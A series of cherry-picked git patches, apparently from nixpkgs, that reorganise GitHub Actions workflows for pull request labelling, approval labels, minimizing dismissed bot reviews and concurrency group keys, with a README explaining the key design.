-index 80c2d6c664..6236b4de85 100644
---- a/go.sum
-+++ b/go.sum
-@@ -11,6 +11,8 @@
- github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
- github.com/ebitengine/purego v0.8.2 h1:jPPGWs2sZ1UgOSgD2bClL0MJIqu58nOmIcBuXr62z1I=
- github.com/ebitengine/purego v0.8.2/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
-+github.com/ebitengine/purego v0.8.3 h1:K+0AjQp63JEZTEMZiwsI9g0+hAMNohwUOtY0RPGexmc=
-+github.com/ebitengine/purego v0.8.3/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
- github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M=
- github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
- github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=

From b7759aafd28e745fef95ae66f1c59e85250c20b8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 8 Jun 2025 18:51:00 +0200
Subject: [PATCH 1024/4511] workflows/review-{dismissed,minimize}: init

This brings back the "minimize CI reviews after dismissal" job that was
previously removed. The first time around, we had a single job triggered
by the `pull_request_review` event. This lacks permission to do
meaningful stuff, though.

This time, we trigger an empty no-op job on `pull_request_review` and
then run a second workflow on `workflow_run`. This can run with the
proper permissions.

(cherry picked from commit a34a22d8b9529df4e92e1e8c3670ac8da2542ab1)
---
 .github/workflows/dismissed-review.yml | 65 ++++++++++++++++++++++++++
 .github/workflows/review-dismissed.yml | 17 +++++++
 2 files changed, 82 insertions(+)
 create mode 100644 .github/workflows/dismissed-review.yml
 create mode 100644 .github/workflows/review-dismissed.yml

diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
new file mode 100644
index 000000000000..256627af6616
--- /dev/null
+++ b/.github/workflows/dismissed-review.yml
@@ -0,0 +1,65 @@
+name: Dismissed review
+
+on:
+  workflow_run:
+    workflows:
+      - Review dismissed
+    types: [completed]
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
+permissions:
+  pull-requests: write
+
+defaults:
+  run:
+    shell: bash
+
+jobs:
+  # The `check-cherry-picks` workflow creates review comments which reviewers
+  # are encouraged to manually dismiss if they're not relevant.
+  # When a CI-generated review is dismissed, this job automatically minimizes
+  # it, preventing it from cluttering the PR.
+  minimize:
+    name: Minimize as resolved
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            // PRs from forks don't have any PRs associated by default.
+            // Thus, we request the PR number with an API call *to* the fork's repo.
+            // Multiple pull requests can be open from the same head commit, either via
+            // different base branches or head branches.
+            const { head_repository, head_sha, repository } = context.payload.workflow_run
+            await Promise.all(
+              (await github.paginate(github.rest.repos.listPullRequestsAssociatedWithCommit, {
+                owner: head_repository.owner.login,
+                repo: head_repository.name,
+                commit_sha: head_sha
+              }))
+              .filter(pull_request => pull_request.base.repo.id == repository.id)
+              .map(async (pull_request) =>
+                Promise.all(
+                  (await github.paginate(github.rest.pulls.listReviews, {
+                    owner: context.repo.owner,
+                    repo: context.repo.repo,
+                    pull_number: pull_request.number
+                  })).filter(review =>
+                    review.user.login == 'github-actions[bot]' &&
+                    review.state == 'DISMISSED'
+                  ).map(review => github.graphql(`
+                    mutation($node_id:ID!) {
+                      minimizeComment(input: {
+                        classifier: RESOLVED,
+                        subjectId: $node_id
+                      })
+                      { clientMutationId }
+                    }`,
+                    { node_id: review.node_id }
+                  ))
+                )
+              )
+            )
diff --git a/.github/workflows/review-dismissed.yml b/.github/workflows/review-dismissed.yml
new file mode 100644
index 000000000000..988b4a47df14
--- /dev/null
+++ b/.github/workflows/review-dismissed.yml
@@ -0,0 +1,17 @@
+name: Review dismissed
+
+on:
+  pull_request_review:
+    types: [dismissed]
+
+permissions: {}
+
+defaults:
+  run:
+    shell: bash
+
+jobs:
+  trigger:
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - run: echo This is a no-op only used as a trigger for workflow_run.

From 1a19fa145471e74ae614fd60a122bbc86b50c206 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 8 Jun 2025 20:06:00 +0200
Subject: [PATCH 1025/4511] workflows/labels: move labels logic from eval
 workflow

This moves the actual labeling from the eval workflow to the labels
workflow. At this stage, this only has a disadvantage: Adding the
topic-labels to the pull request will now only happen after eval has
finished, instead of instantly.

We will only benefit from this later, when we manage approval related
events. With this change, we will have the comparison results and thus
the package maintainer info available.

(cherry picked from commit 2d0bcd7165516e90df43582667ec6c1918ba48f1)
---
 .github/workflows/eval.yml   | 50 ++++++------------------------
 .github/workflows/labels.yml | 60 ++++++++++++++++++++++++++++++++++--
 2 files changed, 67 insertions(+), 43 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 711932b6a02b..edbaf78d961f 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -217,46 +217,6 @@ jobs:
           name: comparison
           path: comparison/*
 
-      - name: Labelling pull request
-        if: ${{ github.event_name == 'pull_request_target' }}
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            const { readFile } = require('node:fs/promises')
-
-            const pr = {
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              issue_number: context.payload.pull_request.number
-            }
-
-            // Get all currently set labels that we manage
-            const before =
-              (await github.paginate(github.rest.issues.listLabelsOnIssue, pr))
-              .map(({ name }) => name)
-              .filter(name => name.startsWith('10.rebuild') || name == '11.by: package-maintainer')
-
-            // And the labels that should be there
-            const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
-
-            // Remove the ones not needed anymore
-            await Promise.all(
-              before.filter(name => !after.includes(name))
-              .map(name => github.rest.issues.removeLabel({
-                ...pr,
-                name
-              }))
-            )
-
-            // And add the ones that aren't set already
-            const added = after.filter(name => !before.includes(name))
-            if (added.length > 0) {
-              await github.rest.issues.addLabels({
-                ...pr,
-                labels: added
-              })
-            }
-
       - name: Add eval summary to commit statuses
         if: ${{ github.event_name == 'pull_request_target' }}
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
@@ -289,6 +249,16 @@ jobs:
               target_url
             })
 
+  labels:
+    name: Labels
+    needs: [ compare ]
+    uses: ./.github/workflows/labels.yml
+    permissions:
+      issues: write
+      pull-requests: write
+    with:
+      caller: ${{ github.workflow }}
+
   reviewers:
     name: Reviewers
     # No dependency on "compare", so that it can start at the same time.
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1e485a6df89b..b66573e1d968 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -6,14 +6,18 @@
 name: "Label PR"
 
 on:
-  pull_request_target:
+  workflow_call:
+    inputs:
+      caller:
+        description: Name of the calling workflow.
+        required: true
+        type: string
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
   cancel-in-progress: true
 
 permissions:
-  contents: read
   issues: write # needed to create *new* labels
   pull-requests: write
 
@@ -27,7 +31,55 @@ jobs:
     runs-on: ubuntu-24.04-arm
     if: "!contains(github.event.pull_request.title, '[skip treewide]')"
     steps:
+      - name: Download the comparison results
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          pattern: comparison
+          path: comparison
+          merge-multiple: true
+
+      - name: Labels from eval
+        if: ${{ github.event_name != 'pull_request' }}
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { readFile } = require('node:fs/promises')
+
+            const pr = {
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number
+            }
+
+            // Get all currently set labels that we manage
+            const before =
+              (await github.paginate(github.rest.issues.listLabelsOnIssue, pr))
+              .map(({ name }) => name)
+              .filter(name => name.startsWith('10.rebuild') || name == '11.by: package-maintainer')
+
+            // And the labels that should be there
+            const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
+
+            // Remove the ones not needed anymore
+            await Promise.all(
+              before.filter(name => !after.includes(name))
+              .map(name => github.rest.issues.removeLabel({
+                ...pr,
+                name
+              }))
+            )
+
+            // And add the ones that aren't set already
+            const added = after.filter(name => !before.includes(name))
+            if (added.length > 0) {
+              await github.rest.issues.addLabels({
+                ...pr,
+                labels: added
+              })
+            }
+
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
+        name: Labels from touched files
         if: |
           github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
@@ -40,6 +92,7 @@ jobs:
           configuration-path: .github/labeler.yml # default
           sync-labels: true
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
+        name: Labels from touched files (no sync)
         if: |
           github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
@@ -52,6 +105,7 @@ jobs:
           configuration-path: .github/labeler-no-sync.yml
           sync-labels: false
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
+        name: Labels from touched files (development branches)
         # Development branches like staging-next, haskell-updates and python-updates get special labels.
         # This is to avoid the mass of labels there, which is mostly useless - and really annoying for
         # the backport labels.

From cf25ce07e8005927ff40c01756a8dc096645d3bd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 8 Jun 2025 21:54:48 +0200
Subject: [PATCH 1026/4511] workflows/labels: manage approval labels

The category 12 labels for number of approvals and approved by package
maintainer are now automatically managed by the labels workflow. The
logic is slightly different from the "by: package-maintainer" label. For
approval, it's enough if *any one* maintainer approves the PR to have
the label added, even if the PR touches multiple packages.

The workflow only counts approved reviews, no matter whether there had
been a push in the meantime or not. To achieve the currently used logic
of "expiring approvals after push", we will have to set up a branch
protection rule, which actually dismissed those reviews automatically.

(cherry picked from commit 5f09e16f001a875e6fe7060dd49062bfe2312d76)
---
 .github/workflows/labels.yml           | 122 +++++++++++++++++++------
 .github/workflows/review-submitted.yml |  17 ++++
 2 files changed, 111 insertions(+), 28 deletions(-)
 create mode 100644 .github/workflows/review-submitted.yml

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index b66573e1d968..950b5f07f775 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -12,6 +12,11 @@ on:
         description: Name of the calling workflow.
         required: true
         type: string
+  workflow_run:
+    workflows:
+      - Review dismissed
+      - Review submitted
+    types: [completed]
 
 concurrency:
   group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
@@ -31,56 +36,113 @@ jobs:
     runs-on: ubuntu-24.04-arm
     if: "!contains(github.event.pull_request.title, '[skip treewide]')"
     steps:
+      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        id: eval
+        with:
+          script: |
+            const run_id = (await github.rest.actions.listWorkflowRuns({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              workflow_id: 'eval.yml',
+              event: 'pull_request_target',
+              head_sha: context.payload.pull_request?.head.sha ?? context.payload.workflow_run.head_sha
+            })).data.workflow_runs[0]?.id
+            core.setOutput('run-id', run_id)
+
       - name: Download the comparison results
+        if: steps.eval.outputs.run-id
         uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
         with:
+          run-id: ${{ steps.eval.outputs.run-id }}
+          github-token: ${{ github.token }}
           pattern: comparison
           path: comparison
           merge-multiple: true
 
       - name: Labels from eval
-        if: ${{ github.event_name != 'pull_request' }}
+        if: steps.eval.outputs.run-id && github.event_name != 'pull_request'
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         with:
           script: |
             const { readFile } = require('node:fs/promises')
 
-            const pr = {
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              issue_number: context.payload.pull_request.number
+            let pull_requests
+            if (context.payload.workflow_run) {
+              // PRs from forks don't have any PRs associated by default.
+              // Thus, we request the PR number with an API call *to* the fork's repo.
+              // Multiple pull requests can be open from the same head commit, either via
+              // different base branches or head branches.
+              const { head_repository, head_sha, repository } = context.payload.workflow_run
+              pull_requests = (await github.paginate(github.rest.repos.listPullRequestsAssociatedWithCommit, {
+                owner: head_repository.owner.login,
+                repo: head_repository.name,
+                commit_sha: head_sha
+              })).filter(pull_request => pull_request.base.repo.id == repository.id)
+            } else {
+              pull_requests = [ context.payload.pull_request ]
             }
 
-            // Get all currently set labels that we manage
-            const before =
-              (await github.paginate(github.rest.issues.listLabelsOnIssue, pr))
-              .map(({ name }) => name)
-              .filter(name => name.startsWith('10.rebuild') || name == '11.by: package-maintainer')
-
-            // And the labels that should be there
-            const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
-
-            // Remove the ones not needed anymore
             await Promise.all(
-              before.filter(name => !after.includes(name))
-              .map(name => github.rest.issues.removeLabel({
-                ...pr,
-                name
-              }))
-            )
+              pull_requests.map(async (pull_request) => {
+                const pr = {
+                  owner: context.repo.owner,
+                  repo: context.repo.repo,
+                  issue_number: pull_request.number
+                }
 
-            // And add the ones that aren't set already
-            const added = after.filter(name => !before.includes(name))
-            if (added.length > 0) {
-              await github.rest.issues.addLabels({
-                ...pr,
-                labels: added
+                // Get all currently set labels that we manage
+                const before =
+                  (await github.paginate(github.rest.issues.listLabelsOnIssue, pr))
+                  .map(({ name }) => name)
+                  .filter(name =>
+                    name.startsWith('10.rebuild') ||
+                    name == '11.by: package-maintainer' ||
+                    name.startsWith('12.approvals:') ||
+                    name == '12.approved-by: package-maintainer'
+                  )
+
+                const approvals =
+                  (await github.paginate(github.rest.pulls.listReviews, {
+                    owner: context.repo.owner,
+                    repo: context.repo.repo,
+                    pull_number: pull_request.number
+                  }))
+                  .filter(review => review.state == 'APPROVED')
+                  .map(review => review.user.id)
+
+                const maintainers = Object.keys(
+                  JSON.parse(await readFile('comparison/maintainers.json', 'utf-8'))
+                )
+
+                // And the labels that should be there
+                const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
+                if (approvals.length > 0) after.push(`12.approvals: ${approvals.length > 2 ? '3+' : approvals.length}`)
+                if (maintainers.some(id => approvals.includes(id))) after.push('12.approved-by: package-maintainer')
+
+                // Remove the ones not needed anymore
+                await Promise.all(
+                  before.filter(name => !after.includes(name))
+                  .map(name => github.rest.issues.removeLabel({
+                    ...pr,
+                    name
+                  }))
+                )
+
+                // And add the ones that aren't set already
+                const added = after.filter(name => !before.includes(name))
+                if (added.length > 0) {
+                  await github.rest.issues.addLabels({
+                    ...pr,
+                    labels: added
+                  })
+                }
               })
-            }
+            )
 
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files
         if: |
+          github.event_name != 'workflow_run' &&
           github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
@@ -91,9 +153,11 @@ jobs:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler.yml # default
           sync-labels: true
+
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files (no sync)
         if: |
+          github.event_name != 'workflow_run' &&
           github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
@@ -104,12 +168,14 @@ jobs:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler-no-sync.yml
           sync-labels: false
+
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files (development branches)
         # Development branches like staging-next, haskell-updates and python-updates get special labels.
         # This is to avoid the mass of labels there, which is mostly useless - and really annoying for
         # the backport labels.
         if: |
+          github.event_name != 'workflow_run' &&
           github.event.pull_request.head.repo.owner.login == 'NixOS' && (
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
diff --git a/.github/workflows/review-submitted.yml b/.github/workflows/review-submitted.yml
new file mode 100644
index 000000000000..69663054f15b
--- /dev/null
+++ b/.github/workflows/review-submitted.yml
@@ -0,0 +1,17 @@
+name: Review submitted
+
+on:
+  pull_request_review:
+    types: [submitted]
+
+permissions: {}
+
+defaults:
+  run:
+    shell: bash
+
+jobs:
+  trigger:
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - run: echo This is a no-op only used as a trigger for workflow_run.

From 93ecbedbaed9f1592d6f384c7d95b8f1e0b1e010 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 13 Jun 2025 16:59:36 +0200
Subject: [PATCH 1027/4511] workflows: prevent accidental cancelling of other
 PRs

This can happen when two PRs run at the same time, which come from
different forks, but have the same head branch name.

github.head_ref is suggested by GitHub's docs, but.. that's not really
useful for cases with forks.

(cherry picked from commit 7ba7720b28cc03d44d5ad1f5931ad4a88e068470)
---
 .github/workflows/backport.yml         | 2 +-
 .github/workflows/build.yml            | 2 +-
 .github/workflows/check.yml            | 2 +-
 .github/workflows/codeowners-v2.yml    | 2 +-
 .github/workflows/dismissed-review.yml | 2 +-
 .github/workflows/edited.yml           | 2 +-
 .github/workflows/eval-aliases.yml     | 2 +-
 .github/workflows/eval.yml             | 2 +-
 .github/workflows/labels.yml           | 2 +-
 .github/workflows/lint.yml             | 2 +-
 .github/workflows/reviewers.yml        | 2 +-
 11 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 9cd96cd4e73f..c5ba0126aeb2 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -10,7 +10,7 @@ on:
     types: [closed, labeled]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions:
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index d92f73eb0d3a..5013c7da1524 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index b348bef5bfc0..3bcac620c7ed 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 84bbbc980633..f8f909aff6d7 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -30,7 +30,7 @@ on:
     types: [opened, ready_for_review, synchronize, reopened]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
index 256627af6616..82cfe75dc3fc 100644
--- a/.github/workflows/dismissed-review.yml
+++ b/.github/workflows/dismissed-review.yml
@@ -7,7 +7,7 @@ on:
     types: [completed]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions:
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index 186bd9cb8a0c..23e7afb624a1 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -17,7 +17,7 @@ on:
     types: [edited]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/eval-aliases.yml b/.github/workflows/eval-aliases.yml
index 913341d6c814..91930ea3d6e3 100644
--- a/.github/workflows/eval-aliases.yml
+++ b/.github/workflows/eval-aliases.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index edbaf78d961f..447561dca73c 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -17,7 +17,7 @@ on:
       - python-updates
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 950b5f07f775..225c913c08b2 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -19,7 +19,7 @@ on:
     types: [completed]
 
 concurrency:
-  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions:
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index c26160ba8f07..b5ed0c4323c4 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 71d0bcb27382..1a47e38d7b0f 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -17,7 +17,7 @@ on:
         type: string
 
 concurrency:
-  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}

From 4aa51a994c09f697b100cbc8286bf1dbd68fa63e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 13 Jun 2025 15:17:33 +0200
Subject: [PATCH 1028/4511] workflows/{labels,reviewers}: fix concurrency
 groups for nested workflows

This didn't work as intended. When a workflow is run with
`workflow_call`, it will have `github.workflow` set to the *parent*
workflow. So the `caller` input that we passed, resulted in this
concurrency key:

```
Eval-Eval-...
```

But that's bad, because the labels and reviewers workflows will cancel
each other!

What we actually want is this:
- Label and Reviewers workflow should have different groups.
- Reviewers called via Eval and called directly via undraft should have
*different* groups.

We can't use the default condition we use everywhere else, because
`github.workflow` is the same for Label and Reviewers. Thus, we hardcode
the workflow's name as well. This essentially means we have this as a
key:

```
<name-of-running-workflow>-<name-of-triggering-workflow>-<name-of-event>-<name-of-head-branch>
```

This should do what we want.

Since workflows can be made reusable workflows later on, we add those
hardcoded names to *all* concurrency groups. This avoids copy&paste
errors later on.

(cherry picked from commit 6793e238faeffcb58f1f6e1241c7390649fb8197)
---
 .github/workflows/README.md            | 22 ++++++++++++++++++++++
 .github/workflows/backport.yml         |  2 +-
 .github/workflows/build.yml            |  2 +-
 .github/workflows/check.yml            |  2 +-
 .github/workflows/codeowners-v2.yml    |  2 +-
 .github/workflows/dismissed-review.yml |  2 +-
 .github/workflows/edited.yml           |  2 +-
 .github/workflows/eval-aliases.yml     |  2 +-
 .github/workflows/eval.yml             |  6 +-----
 .github/workflows/labels.yml           |  7 +------
 .github/workflows/lint.yml             |  2 +-
 .github/workflows/reviewers.yml        |  7 +------
 12 files changed, 33 insertions(+), 25 deletions(-)

diff --git a/.github/workflows/README.md b/.github/workflows/README.md
index 7089501d5e40..78303c2c64b8 100644
--- a/.github/workflows/README.md
+++ b/.github/workflows/README.md
@@ -18,3 +18,25 @@ Some architectural notes about key decisions and concepts in our workflows:
 - **head commit**: The HEAD commit in the pull request's branch. Same as `github.event.pull_request.head.sha`.
 - **merge commit**: The temporary "test merge commit" that GitHub Actions creates and updates for the pull request. Same as `refs/pull/${{ github.event.pull_request.number }}/merge`.
 - **target commit**: The base branch's parent of the "test merge commit" to compare against.
+
+## Concurrency Groups
+
+We use [GitHub's Concurrency Groups](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs) to cancel older jobs on pushes to Pull Requests.
+When two workflows are in the same group, a newer workflow cancels an older workflow.
+Thus, it is important how to construct the group keys:
+
+- Because we want to run jobs for different events at same time, we add `github.event_name` to the key. This is the case for the `pull_request` which runs on changes to the workflow files to test the new files and the same workflow from the base branch run via `pull_request_event`.
+
+- We don't want workflows of different Pull Requests to cancel each other, so we include `github.event.pull_request.number`. The [GitHub docs](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs#example-using-a-fallback-value) show using `github.head_ref` for this purpose, but this doesn't work well with forks: Different users could have the same head branch name in their forks and run CI for their PRs at the same time.
+
+- Sometimes, there is no `pull_request.number`. That's the case for `push` or `workflow_run` events. To ensure non-PR runs are never cancelled, we add a fallback of `github.run_id`. This is a unique value for each workflow run.
+
+- Of course, we run multiple workflows at the same time, so we add `github.workflow` to the key. Otherwise workflows would cancel each other.
+
+- There is a special case for reusable workflows called via `workflow_call` - they will have `github.workflow` set to their parent workflow's name. Thus, they would cancel each other. That's why we additionally hardcode the name of the workflow as well.
+
+This results in a key with the following semantics:
+
+```
+<running-workflow>-<triggering-workflow>-<triggered-event>-<pull-request/fallback>
+```
diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index c5ba0126aeb2..72b8482ef439 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -10,7 +10,7 @@ on:
     types: [closed, labeled]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: backport-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions:
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 5013c7da1524..a46a382ff42d 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: build-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 3bcac620c7ed..dfe5999df23f 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: check-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index f8f909aff6d7..947f441f2e60 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -30,7 +30,7 @@ on:
     types: [opened, ready_for_review, synchronize, reopened]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: codeowners-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
index 82cfe75dc3fc..e8ab48bda075 100644
--- a/.github/workflows/dismissed-review.yml
